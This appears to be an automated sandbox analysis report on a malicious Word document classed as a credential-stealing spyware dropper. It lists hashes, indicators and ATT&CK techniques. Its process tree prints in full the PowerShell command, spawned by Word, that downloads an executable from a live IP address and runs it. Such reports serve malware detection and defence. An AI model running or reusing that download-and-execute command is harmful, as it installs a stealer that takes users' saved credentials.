ea26039022e9c98e3d40700610f8c28f7d2b1d5f11394e0e22f2a40bf876ea31

General

Target

EFI_01037508200.doc
Size

387KB
MD5

21ebc4527aecb50fc3adc65b610d3653
SHA1

3cf5df8b2e1e670ea2c85eec6f048d0c889bd715
SHA256

ea26039022e9c98e3d40700610f8c28f7d2b1d5f11394e0e22f2a40bf876ea31
SHA512

07fca5507656fd96ca707c6c88f5b139d3f638e313c465b677f448be769606794ca48fe6018ddc80ee4477035f6713e2c5053077f5465e39247a4f8b33e568fc

Score

10^/10

spyware stealer

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://212.192.241.94/bluehost/75tgsoleApp19.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2348	3944	powershell.exe	WINWORD.EXE

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

processever.exe

pid process

1368 processever.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

31 checkip.dyndns.org
34 freegeoip.app
35 freegeoip.app
Suspicious use of SetThreadContext 1 IoCs

Processes:

processever.exe

description pid process target process

PID 2420 set thread context of 1368 2420 processever.exe processever.exe

pid	process
1368	processever.exe

flow	ioc
31	checkip.dyndns.org
34	freegeoip.app
35	freegeoip.app

description	pid	process	target process
PID 2420 set thread context of 1368	2420	processever.exe	processever.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3944 WINWORD.EXE
3944 WINWORD.EXE

pid	process
3944	WINWORD.EXE
3944	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exeprocessever.exeprocessever.exe

pid	process
2348	powershell.exe
2348	powershell.exe
2348	powershell.exe
2420	processever.exe
2420	processever.exe
1368	processever.exe
1368	processever.exe
1368	processever.exe
1368	processever.exe
1368	processever.exe
1368	processever.exe
1368	processever.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeprocessever.exeprocessever.exe

description pid process

Token: SeDebugPrivilege 2348 powershell.exe
Token: SeDebugPrivilege 2420 processever.exe
Token: SeDebugPrivilege 1368 processever.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3944 WINWORD.EXE
3944 WINWORD.EXE
3944 WINWORD.EXE
3944 WINWORD.EXE
3944 WINWORD.EXE
3944 WINWORD.EXE
3944 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2420	processever.exe
Token: SeDebugPrivilege	1368	processever.exe

pid	process
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WINWORD.EXEpowershell.exeprocessever.exe

description	pid	process	target process
PID 3944 wrote to memory of 2348	3944	WINWORD.EXE	powershell.exe
PID 3944 wrote to memory of 2348	3944	WINWORD.EXE	powershell.exe
PID 2348 wrote to memory of 2420	2348	powershell.exe	processever.exe
PID 2348 wrote to memory of 2420	2348	powershell.exe	processever.exe
PID 2348 wrote to memory of 2420	2348	powershell.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe
PID 2420 wrote to memory of 1368	2420	processever.exe	processever.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EFI_01037508200.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "htt`p://212.192.241.94/bluehost/75tgsoleApp19.exe" -Destination "C:\Users\Public\Documents\processever.exe";C:\Users\Public\Documents\processever.exe
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2348

C:\Users\Public\Documents\processever.exe
"C:\Users\Public\Documents\processever.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420

C:\Users\Admin\AppData\Local\Temp\processever.exe
C:\Users\Admin\AppData\Local\Temp\processever.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\processever.exe.log
MD5
9e7845217df4a635ec4341c3d52ed685

SHA1
d65cb39d37392975b038ce503a585adadb805da5

SHA256
d60e596ed3d5c13dc9f1660e6d870d99487e1383891437645c4562a9ecaa8c9b

SHA512
307c3b4d4f2655bdeb177e7b9c981ca27513618903f02c120caa755c9da5a8dd03ebab660b56108a680720a97c1e9596692490aede18cc4bd77b9fc3d8e68aa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\processever.exe
MD5
df6e05150232b27c424b0e7813487491

SHA1
345a18019391a7d530628a55c2f1bd8379ef0ad5

SHA256
52309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a

SHA512
d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9

Download Submit
C:\Users\Admin\AppData\Local\Temp\processever.exe
MD5
df6e05150232b27c424b0e7813487491

SHA1
345a18019391a7d530628a55c2f1bd8379ef0ad5

SHA256
52309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a

SHA512
d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9

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memory/1368-189-0x0000000003230000-0x0000000003231000-memory.dmp

Filesize
4KB

Download
memory/1368-185-0x000000000041FC9E-mapping.dmp

Download
memory/2348-180-0x000002E45D070000-0x000002E45D072000-memory.dmp

Filesize
8KB

Download
memory/2348-182-0x000002E45D076000-0x000002E45D078000-memory.dmp

Filesize
8KB

Download
memory/2348-181-0x000002E45D073000-0x000002E45D075000-memory.dmp

Filesize
8KB

Download
memory/2348-179-0x0000000000000000-mapping.dmp

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memory/2420-183-0x0000000000000000-mapping.dmp

Download
memory/2420-184-0x00000000051D0000-0x00000000056CE000-memory.dmp

Filesize
5.0MB

Download
memory/3944-123-0x00007FFE0EEB0000-0x00007FFE10DA5000-memory.dmp

Filesize
31.0MB

Download
memory/3944-122-0x00007FFE124A0000-0x00007FFE1358E000-memory.dmp

Filesize
16.9MB

Download
memory/3944-114-0x00007FFDF5C60000-0x00007FFDF5C70000-memory.dmp

Filesize
64KB

Download
memory/3944-118-0x00007FFE16840000-0x00007FFE19363000-memory.dmp

Filesize
43.1MB

Download
memory/3944-119-0x00007FFDF5C60000-0x00007FFDF5C70000-memory.dmp

Filesize
64KB

Download
memory/3944-117-0x00007FFDF5C60000-0x00007FFDF5C70000-memory.dmp

Filesize
64KB

Download
memory/3944-116-0x00007FFDF5C60000-0x00007FFDF5C70000-memory.dmp

Filesize
64KB

Download
memory/3944-115-0x00007FFDF5C60000-0x00007FFDF5C70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads